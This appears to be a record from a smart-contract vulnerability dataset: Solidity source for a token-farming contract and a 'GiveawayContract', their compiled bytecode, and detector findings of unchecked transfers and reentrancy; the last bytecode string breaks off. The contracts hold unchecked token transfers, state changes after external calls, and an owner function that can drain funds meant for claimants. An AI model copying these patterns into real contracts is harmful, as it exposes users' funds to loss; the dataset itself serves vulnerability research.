unstakingFeeRate = _Fee; } function setRewardRate(uint256 _rewardRate) public onlyOwner { rewardRate = _rewardRate; } function enableFarming() external onlyOwner() { farmEnabled = true; farmEnableat = now; } // function to allow admin to claim *any* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner { require(_tokenAddress != LPtokenAddress); Token(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806398896d101161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610721578063f3f91fa014610765578063f42ebbe0146107bd578063f9da7db814610801576101f0565b8063d578ceab14610699578063d816c7d5146106b7578063e3e84213146106d5578063e40ccf2714610703576101f0565b8063a9145727116100de578063a9145727146105c7578063b6b55f25146105f5578063bec4de3f14610623578063c326bf4f14610641576101f0565b806398896d10146104ed5780639d76ea58146105455780639e447fc614610579578063a2e656a2146105a7576101f0565b80635ef057be116101875780637b0a47ee116101565780637b0a47ee1461043f5780638a97973f1461045d5780638da5cb5b1461048b57806391e07e7a146104bf576101f0565b80635ef057be146103515780636270cd181461036f5780636a395ccb146103c75780637723c5f114610435576101f0565b80632e1a7d4d116101c35780632e1a7d4d1461027f578063308feec3146102ad578063468b4f10146102cb578063583d42fd146102f9576101f0565b80630f1a6444146101f557806319aa70e714610213578063268cab491461021d57806326a4e8d21461023b575b600080fd5b6101fd610835565b6040518082815260200191505060405180910390f35b61021b61083b565b005b610225610846565b6040518082815260200191505060405180910390f35b61027d6004803603602081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087f565b005b6102ab6004803603602081101561029557600080fd5b810190808035906020019092919050505061091b565b005b6102b5610e7c565b6040518082815260200191505060405180910390f35b6102f7600480360360208110156102e157600080fd5b8101908080359060200190929190505050610e8d565b005b61033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eef565b6040518082815260200191505060405180910390f35b610359610f07565b6040518082815260200191505060405180910390f35b6103b16004803603602081101561038557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f0d565b6040518082815260200191505060405180910390f35b610433600480360360608110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f25565b005b61043d61108a565b005b610447611106565b6040518082815260200191505060405180910390f35b6104896004803603602081101561047357600080fd5b810190808035906020019092919050505061110c565b005b61049361116e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050611192565b005b61052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f4565b6040518082815260200191505060405180910390f35b61054d6113e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b810190808035906020019092919050505061140c565b005b6105af61146e565b60405180821515815260200191505060405180910390f35b6105f3600480360360208110156105dd57600080fd5b8101908080359060200190929190505050611481565b005b6106216004803603602081101561060b57600080fd5b81019080803590602001909291905050506114e3565b005b61062b6119f2565b6040518082815260200191505060405180910390f35b6106836004803603602081101561065757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f8565b6040518082815260200191505060405180910390f35b6106a1611a10565b6040518082815260200191505060405180910390f35b6106bf611a16565b6040518082815260200191505060405180910390f35b610701600480360360208110156106eb57600080fd5b8101908080359060200190929190505050611a1c565b005b61070b611a7e565b6040518082815260200191505060405180910390f35b6107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a84565b005b6107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd3565b6040518082815260200191505060405180910390f35b6107ff600480360360208110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611beb565b005b610809611c87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60075481565b61084433611cad565b565b6000600a546009541061085c576000905061087c565b6000610875600954600a54611f5190919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610a25600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f5190919063ffffffff16565b11610a7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806121fe6034913960400191505060405180910390fd5b610a8433611cad565b6000610aaf612710610aa160065485611f6890919063ffffffff16565b611f9790919063ffffffff16565b90506000610ac68284611f5190919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d6020811015610ba557600080fd5b8101908080519060200190929190505050610c28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b8101908080519060200190929190505050610d68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610dba83600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5190919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1133600c611fb090919063ffffffff16565b8015610e5c57506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e7757610e7533600c611fe090919063ffffffff16565b505b505050565b6000610e88600c612010565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee557600080fd5b8060058190555050565b600f6020528060005260406000206000915090505481565b60055481565b60116020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d602081101561107357600080fd5b810190808051906020019092919050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e257600080fd5b6001600b60006101000a81548160ff02191690831515021790555042600881905550565b60035481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116457600080fd5b8060078190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ea57600080fd5b8060068190555050565b600061120a82600c611fb090919063ffffffff16565b61121757600090506113e1565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561126857600090506113e1565b60006112bc601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f5190919063ffffffff16565b90506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905062093a80600854014211156113725760006113656127106113576004546113498761133b6409502f900089611f6890919063ffffffff16565b611f6890919063ffffffff16565b611f9790919063ffffffff16565b611f9790919063ffffffff16565b90508093505050506113e1565b62093a806008540142116113de5760006113d16127106113c36004546113b5876113a760035489611f6890919063ffffffff16565b611f6890919063ffffffff16565b611f9790919063ffffffff16565b611f9790919063ffffffff16565b90508093505050506113e1565b50505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146457600080fd5b8060038190555050565b600b60009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114d957600080fd5b80600a8190555050565b60008111611559576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600b60009054906101000a900460ff166115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4661726d696e67206973206e6f7420656e61626c65640000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561168c57600080fd5b505af11580156116a0573d6000803e3d6000fd5b505050506040513d60208110156116b657600080fd5b8101908080519060200190929190505050611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61174233611cad565b600061176d61271061175f60055485611f6890919063ffffffff16565b611f9790919063ffffffff16565b905060006117848284611f5190919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561183957600080fd5b505af115801561184d573d6000803e3d6000fd5b505050506040513d602081101561186357600080fd5b81019080805190602001909291905050506118e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61193881600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202590919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198f33600c611fb090919063ffffffff16565b6119ed576119a733600c61204190919063ffffffff16565b5042600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60045481565b600e6020528060005260406000206000915090505481565b60095481565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7457600080fd5b8060048190555050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611adc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b1657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60106020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611cb8826111f4565b90506000811115611f0957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d5657600080fd5b505af1158015611d6a573d6000803e3d6000fd5b505050506040513d6020811015611d8057600080fd5b8101908080519060200190929190505050611e03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611e5581601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202590919063ffffffff16565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ead8160095461202590919063ffffffff16565b6009819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600082821115611f5d57fe5b818303905092915050565b60008082840290506000841480611f87575082848281611f8457fe5b04145b611f8d57fe5b8091505092915050565b600080828481611fa357fe5b0490508091505092915050565b6000611fd8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612071565b905092915050565b6000612008836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612094565b905092915050565b600061201e8260000161217c565b9050919050565b60008082840190508381101561203757fe5b8091505092915050565b6000612069836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61218d565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461217057600060018203905060006001866000018054905003905060008660000182815481106120df57fe5b90600052602060002001549050808760000184815481106120fc57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061213457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612176565b60009150505b92915050565b600081600001805490509050919050565b60006121998383612071565b6121f25782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506121f7565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212208d403c344d60d8ba48dc70ff42dce2eba034d66dd6376c2cc3073ec4ab6d67d764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
432
0x57a1c698c8fd43678dac98ae704b94014228600f
/** *Submitted for verification at Etherscan.io on 2022-01-05 */ // SPDX-License-Identifier: MIT // 84 71 32 64 84 104 101 71 104 111 115 116 68 101 118 // ASCII pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract GiveawayContract is Ownable { using SafeMath for uint256; IERC20 public tokenAccel; struct TokenInputInfo { address addr; uint256 rateInput; uint256 rateOutput; } mapping (uint256 => TokenInputInfo) public tokenInput; mapping (uint256 => mapping (address => uint256)) private balances; mapping (address => bool) public claimed; uint256 private totalDevidend; constructor(address _tokenAccel) { tokenAccel = IERC20(_tokenAccel); } function addInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{ tokenInput[id].addr = _inputToken; tokenInput[id].rateInput = _inputRate; tokenInput[id].rateOutput = _outputRate; } receive() external payable { } function ownerWithdrawEthAndToken() public onlyOwner{ tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function ownerSetupMigration(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner { require(id < 3); for( uint256 i = 0; i < accounts.length; i++){ balances[id][accounts[i]] = amount[i]; totalDevidend = totalDevidend + amount[i] * tokenInput[id].rateOutput / tokenInput[id].rateInput; } } function getClaimableAmount() public view returns(uint256 tokens, uint256 eth, uint256 dividend){ uint256 yourDividend = 0; for (uint256 i= 0; i<3; i++){ yourDividend = yourDividend + balances[i][msg.sender] * tokenInput[i].rateOutput / tokenInput[i].rateInput; } tokens = tokenAccel.balanceOf(address(this)) * yourDividend / totalDevidend; eth = address(this).balance * yourDividend / totalDevidend; dividend = yourDividend; } function claim() public{ require(claimed[msg.sender] == false, "Already claimed"); claimed[msg.sender] = true; (uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(); tokenAccel.transfer(msg.sender, tokens); payable(msg.sender).transfer(eth); totalDevidend = totalDevidend - dividend; } }
0x6080604052600436106100a05760003560e01c80638da5cb5b116100645780638da5cb5b14610196578063bfd021ce146101b4578063c354bd6e146101d4578063c81d917e14610204578063c884ef8314610224578063f2fde38b1461026457600080fd5b806330878aae146100ac5780634e71d92d146100c35780636c8ffd93146100d8578063715018a6146101155780637df62b6f1461012a57600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100c1610284565b005b3480156100cf57600080fd5b506100c16103ea565b3480156100e457600080fd5b506001546100f8906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561012157600080fd5b506100c161052f565b34801561013657600080fd5b50610171610145366004610a0b565b60026020819052600091825260409091208054600182015491909201546001600160a01b039092169183565b604080516001600160a01b03909416845260208401929092529082015260600161010c565b3480156101a257600080fd5b506000546001600160a01b03166100f8565b3480156101c057600080fd5b506100c16101cf366004610a3b565b6105a3565b3480156101e057600080fd5b506101e9610609565b6040805193845260208401929092529082015260600161010c565b34801561021057600080fd5b506100c161021f366004610a75565b61072c565b34801561023057600080fd5b5061025461023f3660046109ca565b60046020526000908152604090205460ff1681565b604051901515815260200161010c565b34801561027057600080fd5b506100c161027f3660046109ca565b61087a565b6000546001600160a01b031633146102b75760405162461bcd60e51b81526004016102ae90610aec565b60405180910390fd5b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561030457600080fd5b505afa158015610318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033c9190610a23565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561038257600080fd5b505af1158015610396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ba91906109eb565b5060405133904780156108fc02916000818181858888f193505050501580156103e7573d6000803e3d6000fd5b50565b3360009081526004602052604090205460ff161561043c5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b60448201526064016102ae565b336000908152600460205260408120805460ff191660011790558080610460610609565b60015460405163a9059cbb60e01b81523360048201526024810185905293965091945092506001600160a01b03169063a9059cbb90604401602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ea91906109eb565b50604051339083156108fc029084906000818181858888f19350505050158015610518573d6000803e3d6000fd5b50806005546105279190610b78565b600555505050565b6000546001600160a01b031633146105595760405162461bcd60e51b81526004016102ae90610aec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cd5760405162461bcd60e51b81526004016102ae90610aec565b600093845260026020819052604090942080546001600160a01b0319166001600160a01b03949094169390931783556001830191909155910155565b6000808080805b600381101561067657600081815260026020818152604080842060018101549301546003835281852033865290925290922054909161064e91610b59565b6106589190610b39565b6106629083610b21565b91508061066e81610b8f565b915050610610565b506005546001546040516370a0823160e01b815230600482015283916001600160a01b0316906370a082319060240160206040518083038186803b1580156106bd57600080fd5b505afa1580156106d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f59190610a23565b6106ff9190610b59565b6107099190610b39565b6005549094506107198247610b59565b6107239190610b39565b93949092509050565b6000546001600160a01b031633146107565760405162461bcd60e51b81526004016102ae90610aec565b6003851061076357600080fd5b60005b838110156108725782828281811061078e57634e487b7160e01b600052603260045260246000fd5b905060200201356003600088815260200190815260200160002060008787858181106107ca57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107df91906109ca565b6001600160a01b031681526020808201929092526040908101600090812093909355888352600291829052909120600181015491015484848481811061083557634e487b7160e01b600052603260045260246000fd5b905060200201356108469190610b59565b6108509190610b39565b60055461085d9190610b21565b6005558061086a81610b8f565b915050610766565b505050505050565b6000546001600160a01b031633146108a45760405162461bcd60e51b81526004016102ae90610aec565b6001600160a01b0381166109095760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ae565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461097b57600080fd5b919050565b60008083601f840112610991578182fd5b50813567ffffffffffffffff8111156109a8578182fd5b6020830191508360208260051b85010111156109c357600080fd5b9250929050565b6000602082840312156109db578081fd5b6109e482610964565b9392505050565b6000602082840312156109fc578081fd5b815180151581146109e4578182fd5b600060208284031215610a1c578081fd5b5035919050565b600060208284031215610a34578081fd5b5051919050565b60008060008060808587031215610a50578283f